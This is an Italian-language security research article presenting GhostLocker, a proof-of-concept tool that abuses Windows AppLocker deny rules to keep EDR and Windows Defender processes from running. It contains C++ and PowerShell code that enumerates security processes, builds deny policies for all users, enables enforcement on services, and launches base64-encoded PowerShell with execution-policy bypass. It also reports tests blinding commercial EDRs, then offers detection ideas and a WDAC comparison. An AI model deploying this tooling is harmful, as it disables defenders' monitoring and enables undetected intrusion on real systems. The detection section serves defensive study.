
Neutralizzazione EDR basata su AppLocker
Dopo il mio articolo su Fairy-Law, in cui ho utilizzato mitigazioni del kernel per disabilitare le soluzioni Endpoint Detection & Response (EDR), diversenok ha osservato che le esclusioni IFEO (Image File Execution Options) erano troppo invasive per le applicazioni di terze parti. Questo ha portato a un approccio migliore: sfruttare il potere intrinseco che gli amministratori già possiedono tramite AppLocker.
Il concetto è stato ispirato da diversenok, che ha sottolineato come gli amministratori possano legittimamente controllare qualsiasi software sui propri sistemi. Da questa intuizione, ho sviluppato una tecnica che utilizza AppLocker come meccanismo di controllo nativo di Windows. Questa ricerca esplora l'implementazione tecnica di AppLocker per il controllo degli EDR, confrontandola con WDAC e presentando un proof-of-concept pratico.
AppLocker è stato introdotto con Windows 7 e migliorato in Windows 8.1, 10 (Enterprise) e Windows Server 2012/R2/2016+. È un framework di whitelisting delle applicazioni che consente agli amministratori di definire con precisione quali eseguibili, script o installer possono essere eseguiti da specifici utenti o gruppi.
AppIDSvc (Application Identity Service)
LocalServiceAppID.sys (Driver del kernel)
SeSrpAccessCheckChiarimento:
MentreAppID.sysesegue la valutazione delle regole in modalità kernel, l'applicazione delle regole sulle DLL non è autonoma.
Il driver del kernel non monitora attivamente i caricamenti di DLL da solo. Invece, i componenti user-mode devono interrogare esplicitamente il driver tramite IOCTL per determinare se un caricamento di DLL è consentito.
Di conseguenza, le regole DLL di AppLocker agiscono di fatto come un meccanismo di protezione lato client.
AppLocker supporta due categorie principali di regole:
Regole Allow: consentono esplicitamente l'esecuzione delle applicazioni definite
Regole Deny: bloccano esplicitamente l'esecuzione delle applicazioni definite
C:\Program Files\Security\*.exeHKLM\Software\Policies\Microsoft\Windows\SrpV2 (archiviazione policy XML, persistente)
HKLM\SYSTEM\CurrentControlSet\Control\Srp\Gp\Exe (formato binario SDDL, applicazione attiva)
HKLM\SYSTEM\CurrentControlSet\Control\AppID\CertStore (cache dei certificati)
Per impostazione predefinita, AppLocker non applica le regole ai servizi o ai processi SYSTEM.
Non esiste un'opzione dell'interfaccia grafica per abilitare questo comportamento.
L'applicazione per i servizi può essere abilitata solo tramite la policy XML utilizzando RuleCollectionExtensions.
La seguente sezione di policy è necessaria per applicare le regole AppLocker ai servizi:
<RuleCollectionExtensions>
<ThresholdExtensions>
<Services EnforcementMode="Enabled"/>
</ThresholdExtensions>
<RedstoneExtensions>
<SystemApps Allow="Enabled"/>
</RedstoneExtensions>
</RuleCollectionExtensions>
Come indicato dai nomi delle estensioni, queste opzioni sono supportate solo su Windows 10+ e non sono disponibili nelle versioni precedenti. Vedi Microsoft - AppLocker rule collection extensions
AppID.sys valuta gli attributi dell'applicazioneSTATUS_ACCESS_DISABLED_BY_POLICY_OTHER⚠️ AppLocker NON termina i processi in esecuzione.
L'applicazione di AppLocker si riferisce solo a nuovi eventi di creazione di processi. I processi EDR già in esecuzione continuano a funzionare fino al riavvio del sistema. Questo è un vincolo architetturale fondamentale.
Nota sulla telemetria del driver del kernel:
Anche dopo aver bloccato gli eseguibili userland dell'EDR, i driver del kernel (*.sys) rimangono attivi e operativi. Questi driver continuano a:
Tuttavia, test approfonditi rivelano che questa telemetria diventa funzionalmente inefficace. Senza motori di analisi userland, sistemi di correlazione e meccanismi di reporting, i dati di telemetria grezzi non possono essere trasformati in rilevamenti utilizzabili. Le soluzioni EDR dipendono fortemente dai componenti userland per:
GhostLocker è un'implementazione in C++ che automatizza la distribuzione di policy AppLocker per bloccare gli eseguibili EDR.
GhostLocker fornisce due varianti di implementazione:
main.cpp – Versione con enumerazione dinamicaQuesta versione enumera i processi in esecuzione e risolve i relativi percorsi completi dell'immagine utilizzando API native (NtQuerySystemInformation).
I percorsi assoluti risolti vengono quindi utilizzati per generare regole Deny AppLocker precise.
Lo strumento utilizza CreateToolhelp32Snapshot con TH32CS_SNAPPROCESS per enumerare tutti i processi in esecuzione. Confronta i nomi dei processi con un elenco predefinito di target utilizzando un confronto senza distinzione tra maiuscole e minuscole (_wcsicmp).
Perché questo approccio?
FindTargetsAndQueryPaths)const wchar_t* targetNames[] = {
L"MpDefenderCoreService.exe",
L"MsMpEng.exe",
L"WinDefend.exe",
L"EDR_Component_Name.exe",
};
SYSTEM_PROCESS_ID_INFORMATION spi = { 0 };
spi.ProcessId = PID;
spi.ImageName.MaximumLength = 1024;
spi.ImageName.Buffer = (PWSTR)allocBuffer;
status = NtQuerySystemInformation(
SystemProcessIdInformation,
&spi,
sizeof(spi),
0
);
Dettagli tecnici:
SystemProcessIdInformation (0x58)\Device\HarddiskVolume3\Windows\System32\...Logica di conversione del percorso:
std::wstring ForceHarddiskVolumeToC(const std::wstring& ntPath)
{
const std::wstring prefix = L"\\Device\\HarddiskVolume3\\";
if (ntPath.rfind(prefix, 0) == 0)
{
std::wstring rest = ntPath.substr(prefix.length());
return L"C:\\" + rest;
}
return ntPath;
}
Limite: Assunzione hardcoded di HarddiskVolume3. Dovrebbe essere migliorato per risolvere dinamicamente i numeri di volume.
Lo strumento incorpora uno script PowerShell completo che:
a) Valida i percorsi target
foreach ($exe in $ExeToBlock) {
if (!(Test-Path $exe)) {
Write-Host '[!] ERROR: File does not exist:' $exe -ForegroundColor Red
exit 1
}
}
b) Genera regole Deny dinamiche
foreach ($exe in $ExeToBlock) {
$id = [guid]::NewGuid().ToString()
$name = Split-Path $exe -Leaf
$dynamicBlockRules += '<FilePathRule Id="' + $id + '" Name="Block ' + $name +
'" Description="Blocked by policy" UserOrGroupSid="S-1-1-0" Action="Deny">'
$dynamicBlockRules += '<Conditions><FilePathCondition Path="' + $exe + '" /></Conditions>'
$dynamicBlockRules += '</FilePathRule>'
}
Elementi chiave della policy:
UserOrGroupSid="S-1-1-0": Si applica a Tutti (tutti gli utenti)Action="Deny": Regola di blocco esplicitaEnforcementMode="Enabled": Applicazione attiva per le regole EXEc) Applicazione della policy
Set-AppLockerPolicy -XmlPolicy $tempPath -ErrorAction Stop
gpupdate /force | Out-Null
void RunPowerShellInMemory()
{
std::wstring script = BuildFullPowerShellScript();
const BYTE* bytes = reinterpret_cast<const BYTE*>(script.c_str());
size_t byteLen = script.size() * sizeof(wchar_t);
std::wstring encoded = Base64Encode(bytes, byteLen);
std::wstring params = L"-NoProfile -ExecutionPolicy Bypass -EncodedCommand ";
params += encoded;
ShellExecuteW(NULL, L"runas", L"powershell.exe", params.c_str(), NULL, SW_SHOW);
}
Motivazione tecnica:
-EncodedCommand prevede UTF-16LE-ExecutionPolicy Bypass: ignora i criteri di esecuzione degli scriptrunas: attiva l'elevazione UAC per i diritti amministrativimain_improved.cpp – Versione statica basata su wildcardDopo il chiarimento di diversenok, è emerso che le regole di percorso AppLocker supportano la corrispondenza con wildcard e non richiedono percorsi completi degli eseguibili.
Questa versione migliorata rimuove tutta la logica di enumerazione dei processi e di risoluzione dei percorsi nativi e si basa invece su regole wildcard statiche come: *\MsMpEng.exe
⚠️ Prerequisiti per una distribuzione efficace:
sc start AppIDSvcSono stati condotti test controllati estesi su molteplici soluzioni EDR commerciali per valutarne l'efficacia.
Ambiente di test:
Fallimento dell'analisi comportamentale:
Prospettiva della console di gestione:
Nonostante i driver del kernel continuassero a funzionare e a raccogliere flussi di dati di telemetria, l'assenza di componenti di elaborazione userland ha reso inefficaci i dati raccolti.
Cosa continua a funzionare:
Intuizione critica:
L'architettura EDR moderna si basa su un accoppiamento stretto tra i driver del kernel e i motori di analisi userland.
Rompere questo accoppiamento rende di fatto cieco l'EDR nonostante la continua raccolta di telemetria.
Screenshot (Enumerazione e applicazione della policy AppLocker):

Screenshot (WinDefend disattivato):
Screenshot della versione 2

Windows Defender Application Control (WDAC) è stato introdotto in Windows 10 e rappresenta il framework moderno di controllo delle applicazioni di Microsoft.
Applica le policy sia ai binari user-mode che kernel-mode.
Caratteristiche principali:
Archiviazione delle policy WDAC:
C:\Windows\System32\CodeIntegrity\SIPolicy.p7b (Policy attiva, firmata)
C:\Windows\System32\CodeIntegrity\CIPolicies\ (Policy multiple)
EFI System Partition (applicazione UEFI)
Krueger ha dimostrato l'abuso di WDAC per il blocco dei driver EDR:
Differenza chiave:
Quando usare AppLocker (GhostLocker):
Quando usare WDAC (stile Krueger):
Windows fornisce l'API Get-AppLockerFileInformation, che consente di verificare se un determinato eseguibile verrebbe bloccato con la policy AppLocker corrente.
Un EDR può utilizzare questo meccanismo per verificare proattivamente se i propri binari o servizi verrebbero negati dopo una modifica della policy.
Se un componente principale passa da consentito a negato, questa condizione dovrebbe essere trattata come un'indicazione di manomissione ad alta confidenza.
Gli aggiornamenti delle policy AppLocker vengono comunicati a AppID.sys tramite chiamate IOCTL esplicite provenienti dal user-mode.
Questo fornisce un percorso di segnale chiaro che indica un cambiamento nello stato di applicazione.
I driver del kernel possono osservare queste notifiche e correlarle con successivi errori di esecuzione dei servizi protetti, consentendo un rilevamento accurato della neutralizzazione basata su policy.
Le policy AppLocker vengono mantenute tra i riavvii in posizioni ben definite del registro.
Le soluzioni EDR possono acquisire un'istantanea dello stato delle policy prima del riavvio e verificare la coerenza dell'applicazione dopo l'avvio del sistema.
Una discrepanza tra lo stato di esecuzione previsto e l'applicazione post-riavvio indica fortemente una manipolazione intenzionale delle policy.
Windows include meccanismi nativi per escludere i processi dall'applicazione SRP/AppLocker.
Ci si aspetta che i prodotti di sicurezza si integrino con questi meccanismi per garantire la continuità operativa.
La mancata considerazione di queste esclusioni non è una limitazione di AppLocker, ma piuttosto una svista architetturale nel prodotto protetto.
Nessuna di queste strategie di rilevamento richiede di aggirare AppLocker o violare i confini di sicurezza di Windows.
Si basano esclusivamente su comportamenti documentati e interfacce già fornite dal sistema operativo.
GhostLocker dimostra che AppLocker, una legittima funzionalità di sicurezza di Windows, può essere armato per neutralizzare le soluzioni EDR tramite il blocco dei processi userland.
Questa ricerca evidenzia vulnerabilità architetturali fondamentali negli attuali design EDR, che accoppiano strettamente la raccolta di telemetria del kernel con i motori di analisi userland.
Questa ricerca è fornita solo a scopo educativo e di sicurezza difensiva.
Le tecniche descritte dovrebbero essere utilizzate solo in ambienti di test autorizzati con permesso esplicito.
Se sei interessato a contribuire a GhostLocker, soprattutto all'implementazione in C#, sei il benvenuto.
| Caratteristica | AppLocker | WDAC |
|---|
| Ambito di applicazione | Solo eseguibili user-mode | Driver user-mode + kernel-mode |
| Tempi di applicazione | Creazione del processo | Avvio + runtime |
| Granularità utente | Regole per utente/gruppo | A livello di sistema |
| Modalità predefinita | Allow-by-default | Deny-by-default |
| Tipi di regole | Percorso, Hash, Editore | Hash, Editore, WHQLFile, Versione |
| Blocco dei driver | ❌ No | ✅ Sì |
| Complessità delle policy | Moderata | Alta |
| Modalità audit | ✅ Sì | ✅ Sì |